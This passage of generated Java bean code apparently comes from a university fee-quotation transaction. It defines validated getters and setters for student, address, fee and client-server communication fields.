+ s, new PropertyChangeEvent (this, "InMatrExemptionIefSuppliedTotalCurrency", null, null)); } try { setInMatrExemptionIefSuppliedTotalCurrency(new Double(s).doubleValue() ); } catch (NumberFormatException e) { throw new PropertyVetoException("InMatrExemptionIefSuppliedTotalCurrency is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InMatrExemptionIefSuppliedTotalCurrency", null, null)); } } public String getInSmartcardIefSuppliedFlag() { return FixedStringAttr.valueOf(importView.InSmartcardIefSuppliedFlag, 1); } public void setInSmartcardIefSuppliedFlag(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor pe = new Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor(); if (pe.checkTag(s) == false) { throw new PropertyVetoException("InSmartcardIefSuppliedFlag value \"" + s + "\" is not a permitted value.", new PropertyChangeEvent (this, "InSmartcardIefSuppliedFlag", null, null)); } if (s.length() > 1) { throw new PropertyVetoException("InSmartcardIefSuppliedFlag must be <= 1 characters.", new PropertyChangeEvent (this, "InSmartcardIefSuppliedFlag", null, null)); } importView.InSmartcardIefSuppliedFlag = FixedStringAttr.valueOf(s, (short)1); } public double getInSmartcardIefSuppliedTotalCurrency() { return importView.InSmartcardIefSuppliedTotalCurrency; } public void setInSmartcardIefSuppliedTotalCurrency(double s) throws PropertyVetoException { int decimals = 0; boolean decimal_found = false; String tempDataStr = decimalFormatter.format(s); for (int i=tempDataStr.length(); i>0; i--) { if (tempDataStr.charAt(i-1) == '.') { decimal_found = true; break; } decimals++; } if (decimal_found == true && decimals > 2) { throw new PropertyVetoException("InSmartcardIefSuppliedTotalCurrency has more than 2 fractional digits.", new PropertyChangeEvent (this, "InSmartcardIefSuppliedTotalCurrency", null, null)); } if (java.lang.Math.abs(s) >= 10000000000000.0) { throw new PropertyVetoException("InSmartcardIefSuppliedTotalCurrency has more than 13 integral digits.", new PropertyChangeEvent (this, "InSmartcardIefSuppliedTotalCurrency", null, null)); } importView.InSmartcardIefSuppliedTotalCurrency = DoubleAttr.valueOf(s); } public void setAsStringInSmartcardIefSuppliedTotalCurrency(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InSmartcardIefSuppliedTotalCurrency is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InSmartcardIefSuppliedTotalCurrency", null, null)); } try { setInSmartcardIefSuppliedTotalCurrency(new Double(s).doubleValue() ); } catch (NumberFormatException e) { throw new PropertyVetoException("InSmartcardIefSuppliedTotalCurrency is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InSmartcardIefSuppliedTotalCurrency", null, null)); } } public String getInFaxNameCsfStringsString132() { return FixedStringAttr.valueOf(importView.InFaxNameCsfStringsString132, 132); } public void setInFaxNameCsfStringsString132(String s) throws PropertyVetoException { if (s.length() > 132) { throw new PropertyVetoException("InFaxNameCsfStringsString132 must be <= 132 characters.", new PropertyChangeEvent (this, "InFaxNameCsfStringsString132", null, null)); } importView.InFaxNameCsfStringsString132 = FixedStringAttr.valueOf(s, (short)132); } public String getInFaxNoCsfStringsString132() { return FixedStringAttr.valueOf(importView.InFaxNoCsfStringsString132, 132); } public void setInFaxNoCsfStringsString132(String s) throws PropertyVetoException { if (s.length() > 132) { throw new PropertyVetoException("InFaxNoCsfStringsString132 must be <= 132 characters.", new PropertyChangeEvent (this, "InFaxNoCsfStringsString132", null, null)); } importView.InFaxNoCsfStringsString132 = FixedStringAttr.valueOf(s, (short)132); } public String getInToEmailAddressCsfStringsString132() { return FixedStringAttr.valueOf(importView.InToEmailAddressCsfStringsString132, 132); } public void setInToEmailAddressCsfStringsString132(String s) throws PropertyVetoException { if (s.length() > 132) { throw new PropertyVetoException("InToEmailAddressCsfStringsString132 must be <= 132 characters.", new PropertyChangeEvent (this, "InToEmailAddressCsfStringsString132", null, null)); } importView.InToEmailAddressCsfStringsString132 = FixedStringAttr.valueOf(s, (short)132); } public String getInFromEmailAddressCsfStringsString132() { return FixedStringAttr.valueOf(importView.InFromEmailAddressCsfStringsString132, 132); } public void setInFromEmailAddressCsfStringsString132(String s) throws PropertyVetoException { if (s.length() > 132) { throw new PropertyVetoException("InFromEmailAddressCsfStringsString132 must be <= 132 characters.", new PropertyChangeEvent (this, "InFromEmailAddressCsfStringsString132", null, null)); } importView.InFromEmailAddressCsfStringsString132 = FixedStringAttr.valueOf(s, (short)132); } public String getInWsForeignLevyCategoryCode() { return FixedStringAttr.valueOf(importView.InWsForeignLevyCategoryCode, 1); } public void setInWsForeignLevyCategoryCode(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 1) { throw new PropertyVetoException("InWsForeignLevyCategoryCode must be <= 1 characters.", new PropertyChangeEvent (this, "InWsForeignLevyCategoryCode", null, null)); } importView.InWsForeignLevyCategoryCode = FixedStringAttr.valueOf(s, (short)1); } public String getInWsAddressAddressLine1() { return FixedStringAttr.valueOf(importView.InWsAddressAddressLine1, 28); } public void setInWsAddressAddressLine1(String s) throws PropertyVetoException { if (s.length() > 28) { throw new PropertyVetoException("InWsAddressAddressLine1 must be <= 28 characters.", new PropertyChangeEvent (this, "InWsAddressAddressLine1", null, null)); } importView.InWsAddressAddressLine1 = FixedStringAttr.valueOf(s, (short)28); } public String getInWsAddressAddressLine2() { return FixedStringAttr.valueOf(importView.InWsAddressAddressLine2, 28); } public void setInWsAddressAddressLine2(String s) throws PropertyVetoException { if (s.length() > 28) { throw new PropertyVetoException("InWsAddressAddressLine2 must be <= 28 characters.", new PropertyChangeEvent (this, "InWsAddressAddressLine2", null, null)); } importView.InWsAddressAddressLine2 = FixedStringAttr.valueOf(s, (short)28); } public String getInWsAddressAddressLine3() { return FixedStringAttr.valueOf(importView.InWsAddressAddressLine3, 28); } public void setInWsAddressAddressLine3(String s) throws PropertyVetoException { if (s.length() > 28) { throw new PropertyVetoException("InWsAddressAddressLine3 must be <= 28 characters.", new PropertyChangeEvent (this, "InWsAddressAddressLine3", null, null)); } importView.InWsAddressAddressLine3 = FixedStringAttr.valueOf(s, (short)28); } public String getInWsAddressAddressLine4() { return FixedStringAttr.valueOf(importView.InWsAddressAddressLine4, 28); } public void setInWsAddressAddressLine4(String s) throws PropertyVetoException { if (s.length() > 28) { throw new PropertyVetoException("InWsAddressAddressLine4 must be <= 28 characters.", new PropertyChangeEvent (this, "InWsAddressAddressLine4", null, null)); } importView.InWsAddressAddressLine4 = FixedStringAttr.valueOf(s, (short)28); } public String getInWsAddressAddressLine5() { return FixedStringAttr.valueOf(importView.InWsAddressAddressLine5, 28); } public void setInWsAddressAddressLine5(String s) throws PropertyVetoException { if (s.length() > 28) { throw new PropertyVetoException("InWsAddressAddressLine5 must be <= 28 characters.", new PropertyChangeEvent (this, "InWsAddressAddressLine5", null, null)); } importView.InWsAddressAddressLine5 = FixedStringAttr.valueOf(s, (short)28); } public String getInWsAddressAddressLine6() { return FixedStringAttr.valueOf(importView.InWsAddressAddressLine6, 28); } public void setInWsAddressAddressLine6(String s) throws PropertyVetoException { if (s.length() > 28) { throw new PropertyVetoException("InWsAddressAddressLine6 must be <= 28 characters.", new PropertyChangeEvent (this, "InWsAddressAddressLine6", null, null)); } importView.InWsAddressAddressLine6 = FixedStringAttr.valueOf(s, (short)28); } public short getInWsAddressPostalCode() { return importView.InWsAddressPostalCode; } public void setInWsAddressPostalCode(short s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 10000.0) { throw new PropertyVetoException("InWsAddressPostalCode has more than 4 digits.", new PropertyChangeEvent (this, "InWsAddressPostalCode", null, null)); } importView.InWsAddressPostalCode = ShortAttr.valueOf(s); } public void setAsStringInWsAddressPostalCode(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InWsAddressPostalCode is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InWsAddressPostalCode", null, null)); } try { setInWsAddressPostalCode(Short.parseShort(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InWsAddressPostalCode is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InWsAddressPostalCode", null, null)); } } public String getInWsAddressEmailAddress() { return FixedStringAttr.valueOf(importView.InWsAddressEmailAddress, 28); } public void setInWsAddressEmailAddress(String s) throws PropertyVetoException { if (s.length() > 28) { throw new PropertyVetoException("InWsAddressEmailAddress must be <= 28 characters.", new PropertyChangeEvent (this, "InWsAddressEmailAddress", null, null)); } importView.InWsAddressEmailAddress = FixedStringAttr.valueOf(s, (short)28); } public int getInWsStudentNr() { return importView.InWsStudentNr; } public void setInWsStudentNr(int s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 100000000.0) { throw new PropertyVetoException("InWsStudentNr has more than 8 digits.", new PropertyChangeEvent (this, "InWsStudentNr", null, null)); } importView.InWsStudentNr = IntAttr.valueOf(s); } public void setAsStringInWsStudentNr(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InWsStudentNr is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InWsStudentNr", null, null)); } try { setInWsStudentNr(Integer.parseInt(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InWsStudentNr is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InWsStudentNr", null, null)); } } public String getInWsStudentMkTitle() { return FixedStringAttr.valueOf(importView.InWsStudentMkTitle, 10); } public void setInWsStudentMkTitle(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 10) { throw new PropertyVetoException("InWsStudentMkTitle must be <= 10 characters.", new PropertyChangeEvent (this, "InWsStudentMkTitle", null, null)); } importView.InWsStudentMkTitle = FixedStringAttr.valueOf(s, (short)10); } public String getInWsStudentSurname() { return FixedStringAttr.valueOf(importView.InWsStudentSurname, 28); } public void setInWsStudentSurname(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 28) { throw new PropertyVetoException("InWsStudentSurname must be <= 28 characters.", new PropertyChangeEvent (this, "InWsStudentSurname", null, null)); } importView.InWsStudentSurname = FixedStringAttr.valueOf(s, (short)28); } public String getInWsStudentInitials() { return FixedStringAttr.valueOf(importView.InWsStudentInitials, 10); } public void setInWsStudentInitials(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 10) { throw new PropertyVetoException("InWsStudentInitials must be <= 10 characters.", new PropertyChangeEvent (this, "InWsStudentInitials", null, null)); } importView.InWsStudentInitials = FixedStringAttr.valueOf(s, (short)10); } public String getInWsStudentMkCorrespondenceLanguage() { return FixedStringAttr.valueOf(importView.InWsStudentMkCorrespondenceLanguage, 2); } public void setInWsStudentMkCorrespondenceLanguage(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 2) { throw new PropertyVetoException("InWsStudentMkCorrespondenceLanguage must be <= 2 characters.", new PropertyChangeEvent (this, "InWsStudentMkCorrespondenceLanguage", null, null)); } importView.InWsStudentMkCorrespondenceLanguage = FixedStringAttr.valueOf(s, (short)2); } public String getInLateRegIefSuppliedFlag() { return FixedStringAttr.valueOf(importView.InLateRegIefSuppliedFlag, 1); } public void setInLateRegIefSuppliedFlag(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor pe = new Srrqn01sQuoteStudyFeesIefSuppliedFlagPropertyEditor(); if (pe.checkTag(s) == false) { throw new PropertyVetoException("InLateRegIefSuppliedFlag value \"" + s + "\" is not a permitted value.", new PropertyChangeEvent (this, "InLateRegIefSuppliedFlag", null, null)); } if (s.length() > 1) { throw new PropertyVetoException("InLateRegIefSuppliedFlag must be <= 1 characters.", new PropertyChangeEvent (this, "InLateRegIefSuppliedFlag", null, null)); } importView.InLateRegIefSuppliedFlag = FixedStringAttr.valueOf(s, (short)1); } public double getInMatricExemFeeIefSuppliedAverageCurrency() { return importView.InMatricExemFeeIefSuppliedAverageCurrency; } public void setInMatricExemFeeIefSuppliedAverageCurrency(double s) throws PropertyVetoException { int decimals = 0; boolean decimal_found = false; String tempDataStr = decimalFormatter.format(s); for (int i=tempDataStr.length(); i>0; i--) { if (tempDataStr.charAt(i-1) == '.') { decimal_found = true; break; } decimals++; } if (decimal_found == true && decimals > 2) { throw new PropertyVetoException("InMatricExemFeeIefSuppliedAverageCurrency has more than 2 fractional digits.", new PropertyChangeEvent (this, "InMatricExemFeeIefSuppliedAverageCurrency", null, null)); } if (java.lang.Math.abs(s) >= 1000000000.0) { throw new PropertyVetoException("InMatricExemFeeIefSuppliedAverageCurrency has more than 9 integral digits.", new PropertyChangeEvent (this, "InMatricExemFeeIefSuppliedAverageCurrency", null, null)); } importView.InMatricExemFeeIefSuppliedAverageCurrency = DoubleAttr.valueOf(s); } public void setAsStringInMatricExemFeeIefSuppliedAverageCurrency(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InMatricExemFeeIefSuppliedAverageCurrency is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InMatricExemFeeIefSuppliedAverageCurrency", null, null)); } try { setInMatricExemFeeIefSuppliedAverageCurrency(new Double(s).doubleValue() ); } catch (NumberFormatException e) { throw new PropertyVetoException("InMatricExemFeeIefSuppliedAverageCurrency is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InMatricExemFeeIefSuppliedAverageCurrency", null, null)); } } public int getInStudentAcademicRecordMkStudentNr() { return importView.InStudentAcademicRecordMkStudentNr; } public void setInStudentAcademicRecordMkStudentNr(int s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 100000000.0) { throw new PropertyVetoException("InStudentAcademicRecordMkStudentNr has more than 8 digits.", new PropertyChangeEvent (this, "InStudentAcademicRecordMkStudentNr", null, null)); } importView.InStudentAcademicRecordMkStudentNr = IntAttr.valueOf(s); } public void setAsStringInStudentAcademicRecordMkStudentNr(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InStudentAcademicRecordMkStudentNr is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InStudentAcademicRecordMkStudentNr", null, null)); } try { setInStudentAcademicRecordMkStudentNr(Integer.parseInt(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InStudentAcademicRecordMkStudentNr is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InStudentAcademicRecordMkStudentNr", null, null)); } } public String getInStudentAcademicRecordMkQualificationCode() { return FixedStringAttr.valueOf(importView.InStudentAcademicRecordMkQualificationCode, 5); } public void setInStudentAcademicRecordMkQualificationCode(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 5) { throw new PropertyVetoException("InStudentAcademicRecordMkQualificationCode must be <= 5 characters.", new PropertyChangeEvent (this, "InStudentAcademicRecordMkQualificationCode", null, null)); } importView.InStudentAcademicRecordMkQualificationCode = FixedStringAttr.valueOf(s, (short)5); } public Calendar getInSrrqn01gQuoteStudyFeesDate() { return DateAttr.toCalendar(importView.InSrrqn01gQuoteStudyFeesDate); } public int getAsIntInSrrqn01gQuoteStudyFeesDate() { return DateAttr.toInt(importView.InSrrqn01gQuoteStudyFeesDate); } public void setInSrrqn01gQuoteStudyFeesDate(Calendar s) throws PropertyVetoException { importView.InSrrqn01gQuoteStudyFeesDate = DateAttr.valueOf(s); } public void setAsStringInSrrqn01gQuoteStudyFeesDate(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { setInSrrqn01gQuoteStudyFeesDate((Calendar)null); } else { Calendar tempCalendar = Calendar.getInstance(); try { tempCalendar.setTime(nativeDateFormatter.parse(s.length() > 8 ? s.substring(0, 8) : s)); setInSrrqn01gQuoteStudyFeesDate(tempCalendar); } catch (ParseException e) { throw new PropertyVetoException("InSrrqn01gQuoteStudyFeesDate has an invalid format (yyyyMMdd).", new PropertyChangeEvent (this, "InSrrqn01gQuoteStudyFeesDate", null, null)); } } } public void setAsIntInSrrqn01gQuoteStudyFeesDate(int s) throws PropertyVetoException { String temp = Integer.toString(s); if (temp.length() < 8) { temp = "00000000".substring(temp.length()) + temp; } setAsStringInSrrqn01gQuoteStudyFeesDate(temp); } public String getInWsWorkstationCode() { return FixedStringAttr.valueOf(importView.InWsWorkstationCode, 10); } public void setInWsWorkstationCode(String s) throws PropertyVetoException { if (s.length() > 10) { throw new PropertyVetoException("InWsWorkstationCode must be <= 10 characters.", new PropertyChangeEvent (this, "InWsWorkstationCode", null, null)); } importView.InWsWorkstationCode = FixedStringAttr.valueOf(s, (short)10); } public int getInWsWorkstationUserNumber() { return importView.InWsWorkstationUserNumber; } public void setInWsWorkstationUserNumber(int s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 100000.0) { throw new PropertyVetoException("InWsWorkstationUserNumber has more than 5 digits.", new PropertyChangeEvent (this, "InWsWorkstationUserNumber", null, null)); } importView.InWsWorkstationUserNumber = IntAttr.valueOf(s); } public void setAsStringInWsWorkstationUserNumber(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InWsWorkstationUserNumber is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InWsWorkstationUserNumber", null, null)); } try { setInWsWorkstationUserNumber(Integer.parseInt(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InWsWorkstationUserNumber is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InWsWorkstationUserNumber", null, null)); } } public String getInWsPrinterCode() { return FixedStringAttr.valueOf(importView.InWsPrinterCode, 10); } public void setInWsPrinterCode(String s) throws PropertyVetoException { if (s.length() > 10) { throw new PropertyVetoException("InWsPrinterCode must be <= 10 characters.", new PropertyChangeEvent (this, "InWsPrinterCode", null, null)); } importView.InWsPrinterCode = FixedStringAttr.valueOf(s, (short)10); } public int getInWsUserNumber() { return importView.InWsUserNumber; } public void setInWsUserNumber(int s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 100000.0) { throw new PropertyVetoException("InWsUserNumber has more than 5 digits.", new PropertyChangeEvent (this, "InWsUserNumber", null, null)); } importView.InWsUserNumber = IntAttr.valueOf(s); } public void setAsStringInWsUserNumber(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InWsUserNumber is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InWsUserNumber", null, null)); } try { setInWsUserNumber(Integer.parseInt(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InWsUserNumber is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InWsUserNumber", null, null)); } } public String getInWsUserName() { return FixedStringAttr.valueOf(importView.InWsUserName, 28); } public void setInWsUserName(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 28) { throw new PropertyVetoException("InWsUserName must be <= 28 characters.", new PropertyChangeEvent (this, "InWsUserName", null, null)); } importView.InWsUserName = FixedStringAttr.valueOf(s, (short)28); } public String getInWsUserPersonnelNo() { return FixedStringAttr.valueOf(importView.InWsUserPersonnelNo, 10); } public void setInWsUserPersonnelNo(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 10) { throw new PropertyVetoException("InWsUserPersonnelNo must be <= 10 characters.", new PropertyChangeEvent (this, "InWsUserPersonnelNo", null, null)); } importView.InWsUserPersonnelNo = FixedStringAttr.valueOf(s, (short)10); } public String getInWsUserPhoneNumber() { return FixedStringAttr.valueOf(importView.InWsUserPhoneNumber, 20); } public void setInWsUserPhoneNumber(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 20) { throw new PropertyVetoException("InWsUserPhoneNumber must be <= 20 characters.", new PropertyChangeEvent (this, "InWsUserPhoneNumber", null, null)); } importView.InWsUserPhoneNumber = FixedStringAttr.valueOf(s, (short)20); } public short getInCsfClientServerCommunicationsClientVersionNumber() { return importView.InCsfClientServerCommunicationsClientVersionNumber; } public void setInCsfClientServerCommunicationsClientVersionNumber(short s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 10000.0) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientVersionNumber has more than 4 digits.", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientVersionNumber", null, null)); } importView.InCsfClientServerCommunicationsClientVersionNumber = ShortAttr.valueOf(s); } public void setAsStringInCsfClientServerCommunicationsClientVersionNumber(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientVersionNumber is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientVersionNumber", null, null)); } try { setInCsfClientServerCommunicationsClientVersionNumber(Short.parseShort(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientVersionNumber is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientVersionNumber", null, null)); } } public short getInCsfClientServerCommunicationsClientRevisionNumber() { return importView.InCsfClientServerCommunicationsClientRevisionNumber; } public void setInCsfClientServerCommunicationsClientRevisionNumber(short s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 10000.0) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientRevisionNumber has more than 4 digits.", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientRevisionNumber", null, null)); } importView.InCsfClientServerCommunicationsClientRevisionNumber = ShortAttr.valueOf(s); } public void setAsStringInCsfClientServerCommunicationsClientRevisionNumber(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientRevisionNumber is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientRevisionNumber", null, null)); } try { setInCsfClientServerCommunicationsClientRevisionNumber(Short.parseShort(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientRevisionNumber is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientRevisionNumber", null, null)); } } public String getInCsfClientServerCommunicationsClientDevelopmentPhase() { return FixedStringAttr.valueOf(importView.InCsfClientServerCommunicationsClientDevelopmentPhase, 1); } public void setInCsfClientServerCommunicationsClientDevelopmentPhase(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 1) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientDevelopmentPhase must be <= 1 characters.", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientDevelopmentPhase", null, null)); } importView.InCsfClientServerCommunicationsClientDevelopmentPhase = FixedStringAttr.valueOf(s, (short)1); } public String getInCsfClientServerCommunicationsAction() { return FixedStringAttr.valueOf(importView.InCsfClientServerCommunicationsAction, 2); } public void setInCsfClientServerCommunicationsAction(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 2) { throw new PropertyVetoException("InCsfClientServerCommunicationsAction must be <= 2 characters.", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsAction", null, null)); } importView.InCsfClientServerCommunicationsAction = FixedStringAttr.valueOf(s, (short)2); } public String getInCsfClientServerCommunicationsClientIsGuiFlag() { return FixedStringAttr.valueOf(importView.InCsfClientServerCommunicationsClientIsGuiFlag, 1); } public void setInCsfClientServerCommunicationsClientIsGuiFlag(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 1) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientIsGuiFlag must be <= 1 characters.", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientIsGuiFlag", null, null)); } importView.InCsfClientServerCommunicationsClientIsGuiFlag = FixedStringAttr.valueOf(s, (short)1); } public Calendar getInCsfClientServerCommunicationsClientDate() { return DateAttr.toCalendar(importView.InCsfClientServerCommunicationsClientDate); } public int getAsIntInCsfClientServerCommunicationsClientDate() { return DateAttr.toInt(importView.InCsfClientServerCommunicationsClientDate); } public void setInCsfClientServerCommunicationsClientDate(Calendar s) throws PropertyVetoException { importView.InCsfClientServerCommunicationsClientDate = DateAttr.valueOf(s); } public void setAsStringInCsfClientServerCommunicationsClientDate(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { setInCsfClientServerCommunicationsClientDate((Calendar)null); } else { Calendar tempCalendar = Calendar.getInstance(); try { tempCalendar.setTime(nativeDateFormatter.parse(s.length() > 8 ? s.substring(0, 8) : s)); setInCsfClientServerCommunicationsClientDate(tempCalendar); } catch (ParseException e) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientDate has an invalid format (yyyyMMdd).", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientDate", null, null)); } } } public void setAsIntInCsfClientServerCommunicationsClientDate(int s) throws PropertyVetoException { String temp = Integer.toString(s); if (temp.length() < 8) { temp = "00000000".substring(temp.length()) + temp; } setAsStringInCsfClientServerCommunicationsClientDate(temp); } public Calendar getInCsfClientServerCommunicationsClientTime() { return TimeAttr.toCalendar(importView.InCsfClientServerCommunicationsClientTime); } public int getAsIntInCsfClientServerCommunicationsClientTime() { return TimeAttr.toInt(importView.InCsfClientServerCommunicationsClientTime); } public void setInCsfClientServerCommunicationsClientTime(Calendar s) throws PropertyVetoException { importView.InCsfClientServerCommunicationsClientTime = TimeAttr.valueOf(s); } public void setAsStringInCsfClientServerCommunicationsClientTime(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { setInCsfClientServerCommunicationsClientTime((Calendar)null); } else { Calendar tempCalendar = Calendar.getInstance(); try { tempCalendar.setTime(nativeTimeFormatter.parse(s.length() > 6 ? s.substring(0, 6) : s)); setInCsfClientServerCommunicationsClientTime(tempCalendar); } catch (ParseException e) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientTime has an invalid format (HHmmss).", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientTime", null, null)); } } } public void setAsIntInCsfClientServerCommunicationsClientTime(int s) throws PropertyVetoException { String temp = Integer.toString(s); if (temp.length() < 6) { temp = "000000".substring(temp.length()) + temp; } setAsStringInCsfClientServerCommunicationsClientTime(temp); } public Calendar getInCsfClientServerCommunicationsClientTimestamp() { return TimestampAttr.toCalendar(importView.InCsfClientServerCommunicationsClientTimestamp); } public String getAsStringInCsfClientServerCommunicationsClientTimestamp() { return TimestampAttr.toString(importView.InCsfClientServerCommunicationsClientTimestamp); } public void setInCsfClientServerCommunicationsClientTimestamp(Calendar s) throws PropertyVetoException { importView.InCsfClientServerCommunicationsClientTimestamp = TimestampAttr.valueOf(s); } public void setAsStringInCsfClientServerCommunicationsClientTimestamp(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { setInCsfClientServerCommunicationsClientTimestamp((Calendar)null); } else { Calendar tempCalendar = Calendar.getInstance(); try { tempCalendar.setTime(nativeTimestampFormatter.parse(s.length() > 17 ? s.substring(0, 17) : s)); importView.InCsfClientServerCommunicationsClientTimestamp = TimestampAttr.valueOf(s); } catch (ParseException e) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientTimestamp has an invalid format (yyyyMMddHHmmssSSSSSS).", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientTimestamp", null, null)); } } } public String getInCsfClientServerCommunicationsClientTransactionCode() { return FixedStringAttr.valueOf(importView.InCsfClientServerCommunicationsClientTransactionCode, 8); } public void setInCsfClientServerCommunicationsClientTransactionCode(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 8) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientTransactionCode must be <= 8 characters.", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientTransactionCode", null, null)); } importView.InCsfClientServerCommunicationsClientTransactionCode = FixedStringAttr.valueOf(s, (short)8); } public String getInCsfClientServerCommunicationsClientUserId() { return FixedStringAttr.valueOf(importView.InCsfClientServerCommunicationsClientUserId, 8); } public void setInCsfClientServerCommunicationsClientUserId(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 8) { throw new PropertyVetoException("InCsfClientServerCommunicationsClientUserId must be <= 8 characters.", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsClientUserId", null, null)); } importView.InCsfClientServerCommunicationsClientUserId = FixedStringAttr.valueOf(s, (short)8); } public String getInCsfClientServerCommunicationsFirstpassFlag() { return FixedStringAttr.valueOf(importView.InCsfClientServerCommunicationsFirstpassFlag, 1); } public void setInCsfClientServerCommunicationsFirstpassFlag(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 1) { throw new PropertyVetoException("InCsfClientServerCommunicationsFirstpassFlag must be <= 1 characters.", new PropertyChangeEvent (this, "InCsfClientServerCommunicationsFirstpassFlag", null, null)); } importView.InCsfClientServerCommunicationsFirstpassFlag = FixedStringAttr.valueOf(s, (short)1); } public final int InGroupMax = 50; public short getInGroupCount() { return (short)(importView.InGroup_MA); }; public void setInGroupCount(short s) throws PropertyVetoException { if (s < 0 || s > InGroupMax) { throw new PropertyVetoException("InGroupCount value is not a valid value. (0 to 50)", new PropertyChangeEvent (this, "InGroupCount", null, null)); } else { importView.InGroup_MA = IntAttr.valueOf((int)s); } } public short getInGCsfLineActionBarLineReturnCode(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return importView.InGCsfLineActionBarLineReturnCode[index]; } public void setInGCsfLineActionBarLineReturnCode(int index, short s) throws ArrayIndexOutOfBoundsException, PropertyVetoException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } if (java.lang.Math.abs(s) >= 10000.0) { throw new PropertyVetoException("InGCsfLineActionBarLineReturnCode has more than 4 digits.", new PropertyChangeEvent (this, "InGCsfLineActionBarLineReturnCode", null, null)); } importView.InGCsfLineActionBarLineReturnCode[index] = ShortAttr.valueOf(s); } public void setAsStringInGCsfLineActionBarLineReturnCode(int index, 